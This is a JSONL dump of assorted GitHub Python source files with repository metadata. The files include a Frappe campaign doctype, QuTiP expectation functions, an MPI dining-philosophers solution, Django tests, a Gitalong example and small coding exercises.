create_dc_campaign_completion_form(self,serial_no):\n\t\tinstallation__note_cf=frappe.db.get_value(\"Serial No\", serial_no, 'installation__note_cf')\n\t\tinstallation__note=frappe.db.get_value('Installation Note', installation__note_cf, ['truck_vin_cf','truck_number_cf','customer'], as_dict=1)\n\t\tcompletion_form = frappe.new_doc(\"DC Campaign Completion Form\")\n\t\tcompletion_form.dc_campaign=self.name\n\t\tcompletion_form.serial_no=serial_no\n\t\tcompletion_form.item_name=frappe.db.get_value(\"Serial No\", serial_no, 'item_name')\n\t\tcompletion_form.end_customer=frappe.db.get_value(\"Serial No\", serial_no, 'end_customer_cf')\n\t\tcompletion_form.end_customer_name=frappe.db.get_value(\"Customer\",completion_form.end_customer, 'customer_name')\n\t\tcompletion_form.parts_warranty_expiry_date=frappe.db.get_value(\"Serial No\", serial_no, 'parts_warranty_expiry_date_cf')\n\t\tif completion_form.parts_warranty_expiry_date:\n\t\t\tcompletion_form.parts_warranty_status='Under Warranty' if (getdate(completion_form.parts_warranty_expiry_date) >=getdate()) else 'Warranty Expired'\n\t\tcompletion_form.heater_hours=frappe.db.get_value(\"Serial No\", serial_no, 'total_heater_hours_cf') \n\t\tcompletion_form.total_warranty_hours=frappe.db.get_value(\"Serial No\", serial_no, 'total_warranty_hours_cf')\n\t\tcompletion_form.labor_warranty_expiry_date=frappe.db.get_value(\"Serial No\", serial_no, 'labor_warranty_expiry_date_cf')\n\t\tif completion_form.labor_warranty_expiry_date:\n\t\t\tcompletion_form.labor_warranty_status='Under Warranty' if (getdate(completion_form.labor_warranty_expiry_date) >=getdate()) else 'Warranty Expired'\n\t\tcompletion_form.status='Open'\n\t\tcompletion_form.issue_description=self.description\n\t\tcompletion_form.default_parts_issue_warehouse=self.default_parts_issue_warehouse\n\t\tif installation__note and len(installation__note)>0:\n\t\t\tcompletion_form.truck_vin=installation__note.truck_vin_cf\n\t\t\tcompletion_form.truck_number=installation__note.truck_number_cf\n\t\tif installation__note!=None:\n\t\t\tcompletion_form.customer=installation__note.customer or frappe.db.get_value(\"Serial No\", serial_no, 'customer') or None\n\t\telse:\n\t\t\tcompletion_form.customer=frappe.db.get_value(\"Serial No\", serial_no, 'customer') or None\n\t\tfor parts in self.parts_detail:\n\t\t\tcf_parts_child = completion_form.append(\"parts_detail\")\n\t\t\tcf_parts_child.item = parts.item\t\t\n\t\t\tcf_parts_child.qty = parts.qty\n\t\tfor job in self.job_codes:\n\t\t\tcf_jobs_child = completion_form.append(\"job_codes\")\n\t\t\tcf_jobs_child.job_code=job.job_code\n\t\t\tcf_jobs_child.hours=job.hours\n\t\tcompletion_form.total_srt_hours=self.total_srt_hours\n\t\tcompletion_form.run_method('set_missing_values')\n\t\tcompletion_form.save(ignore_permissions=True)\n\t\treturn completion_form.name,completion_form.status\n\n\tdef validate(self):\n\t\tself.validate_unqiue_serial_no_in_campaign()\n\t\tself.calculate_total_srt_values()\n\t\tself.validate_complete_status()\n\n\tdef validate_complete_status(self):\n\t\tif self.status=='Complete':\n\t\t\tfor row in self.dc_campaign_serial_no:\n\t\t\t\tif row.status!='Finished':\n\t\t\t\t\tfrappe.throw(_(\"Row {0} : Campaign Completion Form {1}, status is {2}. <br> Please finish  all campaign completion form in order to mark campaign {3} as Complete\")\n\t\t\t\t\t.format(row.idx,row.dc_campaign_completion_form, frappe.bold(row.status), self.name))\n\n\tdef validate_unqiue_serial_no_in_campaign(self):\n\t\tserial_no_list=[]\n\t\tfor row in self.dc_campaign_serial_no:\n\t\t\tif row.serial_no not in serial_no_list:\n\t\t\t\tserial_no_list.append(row.serial_no)\n\t\t\telse:\n\t\t\t\tfrappe.throw(_(\"Row {0} : Serial no {1} is duplicate\".format(row.idx,frappe.bold(row.serial_no))))\n\n\tdef calculate_total_srt_values(self):\n\t\t# calculate total hours\n\t\ttotal_srt_hours=0\n\t\tif self.job_codes:\n\t\t\tfor job_item in self.job_codes:\n\t\t\t\tif job_item.hours:\n\t\t\t\t\ttotal_srt_hours=total_srt_hours+job_item.hours\n\t\t\tself.total_srt_hours=total_srt_hours","repo_name":"ashish-greycube/dclimate","sub_path":"dclimate/dclimate/doctype/dc_campaign/dc_campaign.py","file_name":"dc_campaign.py","file_ext":"py","file_size_in_byte":6930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74837488798","text":"__all__ = ['expect', 'variance']\n\nimport numpy as np\n\nfrom .qobj import Qobj\nfrom . import data as _data\n\n\ndef expect(oper, state):\n    \"\"\"\n    Calculate the expectation value for operator(s) and state(s).  The\n    expectation of state `k` on operator `A` is defined as `k.dag() @ A @ k`,\n    and for density matrix `R` on operator `A` it is `trace(A @ R)`.\n\n    Parameters\n    ----------\n    oper : qobj/array-like\n        A single or a `list` or operators for expectation value.\n\n    state : qobj/array-like\n        A single or a `list` of quantum states or density matrices.\n\n    Returns\n    -------\n    expt : float/complex/array-like\n        Expectation value.  ``real`` if `oper` is Hermitian, ``complex``\n        otherwise. A (nested) array of expectaction values of state or operator\n        are arrays.\n\n    Examples\n    --------\n    >>> expect(num(4), basis(4, 3)) == 3 # doctest: +NORMALIZE_WHITESPACE\n        True\n\n    \"\"\"\n    if isinstance(state, Qobj) and isinstance(oper, Qobj):\n        return _single_qobj_expect(oper, state)\n\n    elif isinstance(oper, (list, np.ndarray)):\n        if isinstance(state, Qobj):\n            dtype = np.complex128\n            if all(op.isherm for op in oper) and (state.isket or state.isherm):\n                dtype = np.float64\n            return np.array([_single_qobj_expect(op, state) for op in oper],\n                            dtype=dtype)\n        return [expect(op, state) for op in oper]\n\n    elif isinstance(state, (list, np.ndarray)):\n        dtype = np.complex128\n        if oper.isherm and all(op.isherm or op.isket for op in state):\n            dtype = np.float64\n        return np.array([_single_qobj_expect(oper, x) for x in state],\n                        dtype=dtype)\n    raise TypeError('Arguments must be quantum objects')\n\n\ndef _single_qobj_expect(oper, state):\n    \"\"\"\n    Private function used by expect to calculate expectation values of Qobjs.\n    \"\"\"\n    if not oper.isoper or not (state.isket or state.isoper):\n        raise TypeError('invalid operand types')\n    if oper.dims[1] != state.dims[0]:\n        msg = (\n            \"incompatible dimensions \"\n            + str(oper.dims[1]) + \" and \" + str(state.dims[0])\n        )\n        raise ValueError(msg)\n    out = _data.expect(oper.data, state.data)\n\n    # This ensures that expect can return something that is not a number such\n    # as a `tensorflow.Tensor` in qutip-tensorflow.\n    return out.real if (oper.isherm\n                        and (state.isket or state.isherm)\n                        and hasattr(out, \"real\")\n                        ) else out\n\n\ndef variance(oper, state):\n    \"\"\"\n    Variance of an operator for the given state vector or density matrix.\n\n    Parameters\n    ----------\n    oper : qobj\n        Operator for expectation value.\n\n    state : qobj/list\n        A single or `list` of quantum states or density matrices..\n\n    Returns\n    -------\n    var : float\n        Variance of operator 'oper' for given state.\n\n    \"\"\"\n    return expect(oper**2, state) - expect(oper, state)**2\n","repo_name":"qutip/qutip","sub_path":"qutip/core/expect.py","file_name":"expect.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":1498,"dataset":"github-code","pt":"51"}
+{"seq_id":"34921715773","text":"#!/usr/bin/python\nimport mido\nfrom Trigger import Trigger as tg\n\n\n\n    \nclass EventList(object):\n  def __init__(self,list):\n    self.list = list[:]\n    self.iter = 0\n    self.base = 0\n    self.first = True\n    \n  def fire(self,ms):\n    #print \"EventList\"+\" iter:\"+str(self.iter)\n    if self.iter == 0 and self.first:\n      #print \"first is True\"\n      self.first = False\n      self.base = ms.count\n      offset = self.list[0][0]\n      #print \"offset:\"+str(offset)+\" base:\"+str(self.base)\n      if (self.base+offset) != ms.count:\n        ms.addEvent(self.base+offset,self)\n        return\n    #print \"fire\"\n    ms.fire(self.list[self.iter][1])\n    self.iter = self.iter+1\n    if self.iter == len(self.list):\n      #print \"Eventlist at end of list:\" +str(self.iter)+' '+str(len(self.list))\n      self.iter = 0\n      self.first = True\n    else:\n      #print \"trigger event:\"+str(self.list[self.iter][0])+str(self.list[self.iter][0].v())\n      ms.addEvent(self.list[self.iter][0]+self.base,self)\n      ","repo_name":"sibosop/onan","sub_path":"EventHandler/EventList.py","file_name":"EventList.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5858108422","text":"import sys\n\nfrom PySide6 import QtCore\nfrom PySide6.QtWidgets import (\n    QApplication, QWidget, QHBoxLayout, QPushButton, QLabel\n)\n\n\nclass MainWindow(QWidget): \n    def __init__(self):\n        super().__init__()\n        self.initializeUI()\n\n    def initializeUI(self):\n        \"\"\"Set up application's GUI.\"\"\"\n        self.setWindowTitle(\"Exercice 1 -- Strech\")\n        layout = QHBoxLayout(self)\n\n        button_left = QPushButton(\"<<\")\n        label_center= QLabel(\"Introduction à Python\")\n        label_center.setAlignment(QtCore.Qt.AlignCenter)\n        button_right= QPushButton(\">>\")\n\n        layout.addWidget(button_left)\n        layout.addWidget(label_center)\n        layout.addWidget(button_right)\n\n        layout.setStretch(0, 1)\n        layout.setStretch(1, 10)\n        layout.setStretch(2, 1)\n\n        self.show()\n\n\nif __name__ == \"__main__\":\n    app = QApplication()\n    main_window = MainWindow()\n    sys.exit(app.exec())\n","repo_name":"sbwiecko/gui_qt_python","sub_path":"6-avancé/exercice_stretch.py","file_name":"exercice_stretch.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"6472474751","text":"# Terminal command\r\n# mpiexec -n [n] python .\\main.py [n] where n represents the number of processes\r\n\r\nimport sys\r\nimport time\r\nfrom typing import List, Optional, Tuple, Any\r\n\r\nimport numpy as np\r\nfrom mpi4py import MPI\r\n\r\n# Global variables\r\nN_PHILOSOPHERS: int = int(sys.argv[1])\r\nMAX_IDLE_TIME_IN_SECONDS: int = 3\r\n\r\n# MPI Tags\r\nTAG_SEND: int = 0\r\nTAG_RECEIVE: int = 1\r\n\r\n\r\nclass Philosopher:\r\n    def __init__(self, rank: int) -> None:\r\n        self.rank: int = rank\r\n        self.left_fork: Optional[Fork] = None\r\n        self.right_fork: Optional[Fork] = None\r\n        self.requests: List[Tuple[int, int]] = []\r\n\r\n        if self.rank == 0:\r\n            self.left_fork = Fork(id=0)\r\n            self.right_fork = Fork(id=1)\r\n        elif self.rank < N_PHILOSOPHERS - 1:\r\n            self.right_fork = Fork(id=rank + 1)\r\n\r\n    def eat(self) -> None:\r\n        if self.left_fork is not None:\r\n            self.left_fork.dirty = True\r\n\r\n        if self.right_fork is not None:\r\n            self.right_fork.dirty = True\r\n\r\n    def get_fork_with_id(self, id: int) -> Optional[\"Fork\"]:\r\n        if self.left_fork is not None and self.left_fork.id == id:\r\n            return self.left_fork\r\n\r\n        if self.right_fork is not None and self.right_fork.id == id:\r\n            return self.right_fork\r\n\r\n        return None\r\n\r\n    def is_fork_dirty_by_id(self, id) -> bool:\r\n        fork = self.get_fork_with_id(id)\r\n\r\n        return fork is not None and fork.dirty\r\n\r\n    def add_fork(self, fork) -> None:\r\n        if self.left_fork is None:\r\n            self.left_fork = fork\r\n        else:\r\n            self.right_fork = fork\r\n\r\n    def remove_fork_with_id(self, id) -> None:\r\n        if self.left_fork is not None and self.left_fork.id == id:\r\n            self.left_fork = None\r\n\r\n        if self.right_fork is not None and self.right_fork.id == id:\r\n            self.right_fork = None\r\n\r\n\r\nclass Fork:\r\n    def __init__(self, id: int, dirty: bool = True):\r\n        self.id: int = id\r\n        self.dirty: bool = dirty\r\n\r\n    def __str__(self) -> str:\r\n        return f\"id: {self.id}, dirty: {self.dirty}\"\r\n\r\n\r\n# MPI variables\r\ncomm: Any = MPI.COMM_WORLD\r\nstatus: Any = MPI.Status()\r\nrank: int = comm.rank\r\nsize: int = comm.size\r\n\r\n# Neighbour indices\r\nLEFT_NEIGHBOUR: int = (rank - 1) % N_PHILOSOPHERS\r\nRIGHT_NEIGHBOUR: int = (rank + 1) % N_PHILOSOPHERS\r\n\r\nphilosopher: Philosopher = Philosopher(rank)\r\n\r\nif size != N_PHILOSOPHERS:\r\n    if rank == 0:\r\n        print(f\"Number of processes ({size}) does not match the number of philosophers ({N_PHILOSOPHERS})!\")\r\n    exit(1)\r\n\r\n\r\ndef custom_print(text, rank):\r\n    print(\"{}{}\".format(\"\\t\" * rank * 2, text), flush=True)\r\n\r\n\r\ndef fork_status(rank) -> None:\r\n    custom_print(f\"P{rank}, forks: ({philosopher.left_fork} | {philosopher.right_fork})\", rank)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    while True:\r\n        # Think\r\n        custom_print(f\"P{rank} is thinking\", rank)\r\n        sleep_time: float = np.random.random_sample() * MAX_IDLE_TIME_IN_SECONDS\r\n\r\n        while sleep_time > 0:\r\n            time.sleep(1)\r\n            sleep_time -= 1\r\n\r\n            if comm.iprobe(tag=TAG_RECEIVE, status=status):\r\n                send_fork_id = comm.recv(tag=TAG_RECEIVE, status=status)\r\n\r\n                send_to_dest: int = status.Get_source()\r\n\r\n                comm.send(send_fork_id, dest=send_to_dest, tag=TAG_SEND)\r\n                philosopher.remove_fork_with_id(send_fork_id)\r\n\r\n                custom_print(f\"P{rank} sending fork {send_fork_id} to P{send_to_dest}\", rank)\r\n\r\n        # Wait for both forks to become available\r\n        while philosopher.left_fork is None or philosopher.right_fork is None:\r\n            # Request a required fork (priority: [left, right])\r\n            receive_from_dest: int = LEFT_NEIGHBOUR if philosopher.left_fork is None else RIGHT_NEIGHBOUR\r\n            receive_fork_id: int = rank if philosopher.left_fork is None else RIGHT_NEIGHBOUR\r\n            comm.send(receive_fork_id, dest=receive_from_dest, tag=TAG_RECEIVE)\r\n\r\n            # Repeat until the required fork is received\r\n            while True:\r\n                send_fork_id = comm.recv(status=status)\r\n                send_to_dest = status.Get_source()\r\n\r\n                if status.tag == TAG_SEND:\r\n                    custom_print(f\"P{rank} received fork {receive_fork_id} from P{receive_from_dest}\", rank)\r\n\r\n                    # Received fork\r\n                    philosopher.add_fork(Fork(receive_fork_id, dirty=False))\r\n                    break\r\n                else:\r\n\r\n                    # If a fork is requested\r\n                    if philosopher.is_fork_dirty_by_id(send_fork_id):\r\n                        # If fork is dirty\r\n                        comm.send(send_fork_id, dest=send_to_dest, tag=TAG_SEND)\r\n                        philosopher.remove_fork_with_id(send_fork_id)\r\n\r\n                        custom_print(f\"P{rank} sending fork {send_fork_id} to P{send_to_dest}\", rank)\r\n\r\n                    else:\r\n                        # If fork is clean\r\n                        philosopher.requests.append((send_to_dest, send_fork_id))\r\n\r\n        # Eat\r\n        custom_print(f\"P{rank} is eating\", rank)\r\n\r\n        eat_time: float = np.random.random_sample() * MAX_IDLE_TIME_IN_SECONDS\r\n        time.sleep(eat_time)\r\n\r\n        # Update forks (clean -> dirty)\r\n        philosopher.eat()\r\n\r\n        # Respond to existing requests\r\n        for dest, fork_id in philosopher.requests:\r\n            comm.send(fork_id, dest=dest, tag=TAG_SEND)\r\n            philosopher.remove_fork_with_id(fork_id)\r\n\r\n            custom_print(f\"P{rank} sending fork {fork_id} to P{dest}\", rank)\r\n","repo_name":"ivanlokas/parallel-programming-course-projects","sub_path":"Lab1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11469373146","text":"L = [0,1]\n\nprint(\"1.print with in range 2.print given number of numbers\")\nchoice = int(input())\n\nnum = int(input(\"enter the range to print fibonacci \\n\"))\nval = L[len(L) - 1] + L[len(L) - 2]\n\nif(choice == 1):\n\twhile(val < num):\n\t\tL.append(val)\n\t\tval = L[len(L) - 1] + L[len(L) - 2]\n\tprint(L)\nelif(choice == 2):\n\twhile(len(L) < num):\n\t\tL.append(val)\n\t\tval = L[len(L) - 1] + L[len(L) - 2]\n\tprint(L)\nelse:\n\tprint(\"enter the correct choice\")\n\t\n","repo_name":"karthikcr17/repository_training","sub_path":"python_program/day1/fibonic.py","file_name":"fibonic.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"827404964","text":"# -*- coding: utf-8 -*-\n\nfrom imio.history.browser.views import IHContentHistoryView\n\n\nclass SpecificHistoryView(IHContentHistoryView):\n\n    def __init__(self, context, request):\n        self.context = context\n        self.request = request\n        fieldname = self.request.get('item', '')\n        self.histories_to_handle = (\n            u'update_{0}'.format(fieldname),\n            u'{0}_history'.format(fieldname),\n        )\n","repo_name":"IMIO/Products.urban","sub_path":"src/Products/urban/history/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10542156998","text":"\"\"\"\nTest all code related to the models:\n\n* fields\n\n- test model integrity\n- test model validation\n- test assigned/removed permissions\n- test absolute object url\n\"\"\"\nimport pytest\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\nfrom django.db.utils import IntegrityError\n\nfrom demanage.members.models import Member\nfrom demanage.members.tests.factories import MemberFactory\nfrom demanage.organizations.models import Organization\n\nUser = get_user_model()\n\npytestmark = pytest.mark.django_db\n\n\ndef test_member_create(member: Member):\n    \"\"\"Test member object create functionality (via factory).\"\"\"\n    pass\n\n\ndef test_member_duplicate(\n    user: User, organization: Organization, member_factory: MemberFactory\n):\n    \"\"\"Test user and organization should be unique.\"\"\"\n    MemberFactory(user=user, organization=organization)\n    with pytest.raises(IntegrityError):\n        MemberFactory(user=user, organization=organization)\n\n\ndef test_member_is_organization_representative(\n    organization: Organization, member_factory: MemberFactory\n):\n    \"\"\"Test organization representative can not be it's member.\"\"\"\n    member = MemberFactory(user=organization.representative, organization=organization)\n    with pytest.raises(ValidationError):\n        member.full_clean()\n\n\ndef test_user_assign_permissions(member: Member):\n    \"\"\"Test user has permissions to view organization and it's members.\"\"\"\n    user = User.objects.get(pk=member.user.pk)\n    assert user.has_perm(\"organizations.view_organization\", member.organization)\n    assert user.has_perm(\"organizations.view_member\", member.organization)\n\n\ndef test_user_remove_permissions(member: Member):\n    \"\"\"Test permissions to view organization and it's members are removed from the user.\"\"\"\n    member.delete()\n    user = User.objects.get(pk=member.user.pk)\n    assert not user.has_perm(\"organizations.view_organization\", member.organization)\n    assert not user.has_perm(\"organizations.view_member\", member.organization)\n\n\ndef test_member_queryset_join_time_ordering(member_factory: MemberFactory):\n    m1 = member_factory()\n    m2 = member_factory()\n    m3 = member_factory()\n\n    assert Member.objects.count() == 3\n    assert Member.objects.all()[0] == m1\n    assert Member.objects.all()[1] == m2\n    assert Member.objects.all()[2] == m3\n","repo_name":"nezort11/demanage","sub_path":"demanage/members/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"30311760470","text":"import os\nimport tempfile\nimport logging\n\nfrom git.repo import Repo\nfrom gitalong import Repository, RepositoryNotSetup, CommitSpread\n\n\ndef test_example():\n    \"\"\"Testing example code featured in README.md.\"\"\"\n    dirname = tempfile.mkdtemp()\n    logging.info(dirname)\n\n    # Creating a dummy project repository and its clone in temp directory.\n    project = Repo.init(path=os.path.join(dirname, \"project.git\"), bare=True)\n    project_clone = project.clone(os.path.join(dirname, \"project\"))\n\n    try:\n        # This will raise as we never setup that repository with Gitalong.\n        repository = Repository(project_clone.working_dir)\n\n    except RepositoryNotSetup:\n\n        # Creating a repository that Gitalong will use to store and share local changes.\n        # You would normally host this somewhere like GitHub so your entire team has\n        # access to it.\n        store = Repo.init(path=os.path.join(dirname, \"store.git\"), bare=True)\n\n        # Setting up Gitalong in your project repository.\n        # This will clone the registry repository in an ignored `.gitalong` folder.\n        # It will also start tracking a `.gitalong.json` configuration file.\n        repository = Repository.setup(\n            store_repository=store.working_dir,\n            managed_repository=project_clone.working_dir,\n            modify_permissions=True,\n            tracked_extensions=[\".jpg\", \".gif\", \".png\"],\n            track_uncommitted=True,\n            update_gitignore=True,\n            # Skipping hook update for the test.\n            update_hooks=False,\n        )\n\n    # Creating some files.\n    open(os.path.join(project_clone.working_dir, \"uncommitted.png\"), \"w\").close()\n    open(os.path.join(project_clone.working_dir, \"local.gif\"), \"w\").close()\n    open(os.path.join(project_clone.working_dir, \"remote.jpg\"), \"w\").close()\n    open(os.path.join(project_clone.working_dir, \"untracked.txt\"), \"w\").close()\n\n    # Spreading them across branches.\n    project_clone.index.add(\"untracked.txt\")\n    project_clone.index.commit(message=\"Add untracked.txt\")\n    project_clone.index.add(\"remote.jpg\")\n    project_clone.index.commit(message=\"Add remote.jpg\")\n    project_clone.remote().push()\n    project_clone.git.reset(\"--hard\", \"HEAD^\")\n    project_clone.index.add(\"local.gif\")\n    project_clone.index.commit(message=\"Add local.gif\")\n\n    # Updating tracked commits with current local changes. Because we specified\n    # `track_uncommitted`. Uncommitted changes will be stored as sha-less commit.\n    repository.update_tracked_commits()\n\n    # Update permissions of all files based on track commits. Because\n    # `modify_permssions` was passed this will update all permissions of tracked files.\n    # Permission updates currently comes at high performance cost and is not\n    # recommended.\n    locally_changed_files = repository.locally_changed_files\n    for filename in repository.files:\n        repository.update_file_permissions(filename, locally_changed_files)\n\n    # Now we'll get the last commit for our files.\n    # This could return a dummy commit representing uncommitted changes.\n    uncommitted_last_commit = repository.get_file_last_commit(\"uncommitted.png\")\n    local_last_commit = repository.get_file_last_commit(\"local.gif\")\n    remote_last_commit = repository.get_file_last_commit(\"remote.jpg\")\n    untracked_last_commit = repository.get_file_last_commit(\"untracked.txt\")\n\n    # Getting the commit spreads.\n    # Spread flags represent where the commit live.\n    uncommitted_spread = repository.get_commit_spread(uncommitted_last_commit)\n    local_spread = repository.get_commit_spread(local_last_commit)\n    remote_spread = repository.get_commit_spread(remote_last_commit)\n    untracked_spread = repository.get_commit_spread(untracked_last_commit)\n\n    assert uncommitted_spread == CommitSpread.MINE_UNCOMMITTED\n    assert local_spread == CommitSpread.MINE_ACTIVE_BRANCH\n    assert remote_spread == CommitSpread.REMOTE_MATCHING_BRANCH\n    assert untracked_spread == (\n        CommitSpread.REMOTE_MATCHING_BRANCH | CommitSpread.MINE_ACTIVE_BRANCH\n    )\n\n    # Trying to make the files writable.\n    assert bool(repository.make_file_writable(\"uncommitted.png\")) is False\n    assert bool(repository.make_file_writable(\"local.gif\")) is False\n    assert bool(repository.make_file_writable(\"remote.jpg\")) is True\n    assert bool(repository.make_file_writable(\"untracked.txt\")) is False\n\n\nif __name__ == \"__main__\":\n    test_example()\n","repo_name":"douglaslassance/gitalong","sub_path":"tests/test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"51"}
+{"seq_id":"2657516825","text":"\"\"\"\r\n# Definition for a Node.\r\nclass Node:\r\n    def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):\r\n        self.val = int(x)\r\n        self.next = next\r\n        self.random = random\r\n\"\"\"\r\n#1. Direct way: O(N) space\r\n# Iteratively visit the nodes and save old (copied) nodes\r\ndef copyRandomList(self, head: 'Node') -> 'Node':\r\n    #return null if head is null\r\n    if not head: return head\r\n    visited = {}\r\n    p = head\r\n    pnew = Node(head.val)\r\n    visited[p] = pnew\r\n\r\n    while p:\r\n        #copy random state node\r\n        if p.random:\r\n            if p.random not in visited:\r\n                pnew.random = Node(p.random.val)\r\n                visited[p.random] = pnew.random\r\n            else:\r\n                pnew.random = visited[p.random]\r\n        \r\n        #copy next state node\r\n        if p.next:\r\n            if p.next not in visited:\r\n                visited[p.next] = Node(p.next.val)\r\n            pnew.next = visited[p.next]\r\n        \r\n        #move p and pnew\r\n        p = p.next\r\n        pnew = pnew.next\r\n    \r\n    return visited[head] #which is the copied head\r\n\r\n\r\n#2. Optimal way: O(1) space\r\ndef copyRandomList(self, head: 'Node') -> 'Node':\r\n    #To avoid save previous initialized old node (in random setting), we can use the following algorithm\r\n    #old: A --> B --> C --> D\r\n    #interwaved: A --> A' --> B --> B' --> C --> C' --> D --> D'\r\n    #Three steps:\r\n    # - Iterate the original list and duplicate each node next to original one.\r\n    # - Iterate the new list and assign the random pointer for each duplicated node.\r\n    # - Restore the original list and extract the duplicated nodes.\r\n    \r\n    if not head: return head\r\n    #1. first loop: insert a copy of node to the next pos of original node\r\n    p = head\r\n    while p:\r\n        pnew = Node(p.val)\r\n        pnew.next = p.next\r\n        p.next = pnew\r\n        p = pnew.next\r\n    \r\n    #2. second loop, link random state to new nodes following its previous original ones\r\n    p = head\r\n    while p:\r\n        pnew = p.next\r\n        if p.random is not None:\r\n            pnew.random = p.random.next\r\n        p = pnew.next\r\n        \r\n    #3. third loop, decompse new node out\r\n    p, headnew = head, head.next\r\n    while p:\r\n        pnew = p.next\r\n        p = pnew.next\r\n        if p is not None:\r\n            pnew.next = p.next\r\n        \r\n    return headnew","repo_name":"foevee/Algorithm_Coding","sub_path":"Array_List_String/Medium_138_Copy_List_with_Random_Pointer.py","file_name":"Medium_138_Copy_List_with_Random_Pointer.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"25115568171","text":"class Man():\n    num = 111\n\n    def play(self):\n        print('顿顿小烧烤')\n\n\nclass F(Man):\n    num = 222\n\n    def play(self):\n        super().play()\n        print('爱抽烟，爱喝酒')\n\n\nclass M(Man):\n    num = 333\n\n    def play(self):\n        super().play()\n        print('爱打麻将')\n\n\n# super方法只能继承一个类\nclass C(F, M):\n    num = 444\n\n    def play(self):\n        super().play()\n        print(super().num)\n        print('爱玩王者荣耀')\n\n\nchild = C()\nchild.play()\n\n# MRO Method Relation Order 方法关系列表\n# 先子类 后父类\n# 子类继承父类 不是查找父类 而是在mro列表里向上寻找\n# 子类调用super方法时，把self传到父类方法中\n# [<class '__main__.C'>, <class '__main__.F'>, <class '__main__.M'>, <class '__main__.Man'>, <class 'object'>]\n# print(C.mro())\n\n# 检测一个类是否是另一个类的子类 issubclass()\nres = issubclass(C,F)\nres = issubclass(C,M)\nres = issubclass(C,Man)\n\n# print(res)\n","repo_name":"geoffrey-xiao/python-learning","sub_path":"test2/10.面向对象-菱形继承.py","file_name":"10.面向对象-菱形继承.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5151951144","text":"#참고 : https://hbj0209.tistory.com/93\ndef solution(money):\n    #dp = i까지 털었을 때의 최대값\n    dp1 = [0] * len(money) # 반드시 첫번째 집을 터는 경우\n    dp2 = [0] * len(money) # 반드시 마지막 집을 터는 경우\n    \n    dp1[0] = money[0] # 첫번째 집을 털었으므로\n    dp1[1] = dp1[0] # 못털기 때문\n    \n    dp2[1] = money[1] #첫번째 집을 안털기 때문에\n    \n    for i in range(2, len(money)):\n        # 지금 있는 곳을 털것인가 말것인가\n        dp1[i] = max(dp1[i-1], dp1[i-2] + money[i]) \n        dp2[i] = max(dp2[i-1], dp2[i-2] + money[i])    \n    \n    return max(dp1[-2], dp2[-1])\n    \n    \n\n","repo_name":"YouHojoon/programmers_coding_test","sub_path":"도둑질.py","file_name":"도둑질.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"29143038982","text":"from botocore.exceptions import ClientError\nfrom endpoints.helpers import *\n\n\nrepo = make_repo()\n\n\ndef handler(event, context):\n    identity = parse_identity(event)\n    provider_id = parse_provider_id(event)\n\n    try:\n        repo.remove_trusted_provider(identity, provider_id)\n    except ClientError as e:\n        return handle_client_error(e)\n    return make_response(200, None)\n","repo_name":"dhdersch/labor-tracker","sub_path":"endpoints/remove_trusted_provider.py","file_name":"remove_trusted_provider.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"40992211787","text":"import string\ndef attempt1():\n    ALPHABET = list(string.ascii_letters)\n    #print(ALPHABET)\n    letter_priority = {}\n    score = 1\n    for letter in ALPHABET:\n        letter_priority[letter] = score\n        score += 1\n    #print(letter_priority)\n    #exit()\n    total_sum = 0\n    priorities = []\n    with open(\"input.txt\", \"r\") as f:\n        lines = f.readlines()\n        lineNum = 1\n        for line in lines:\n            lineNum += 1\n            comp1,comp2 = line.strip()[:len(line.strip())//2], line.strip()[len(line.strip())//2:]\n            print(f\"line {lineNum}\\n\\tcompartment1: {comp1}\\n\\tcompartment2: {comp2}\")\n            for let1 in comp1:\n                if let1 in comp2:\n                    print(f\"\\\"{let1}\\\" in comp1 & comp2\")\n                    total_sum += letter_priority[let1]\n                    priorities.append(let1)\n                    #total_sum.append(let1)\n            #print(total_sum)\n            print(priorities)\n            for p in priorities:\n                print(letter_priority[p])\n            #for let in total_sum:\n                #total_sum.append(letter_priority[let])\n            #input()\nattempt1()","repo_name":"Tr4shL0rd/adventOfCode","sub_path":"day3/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
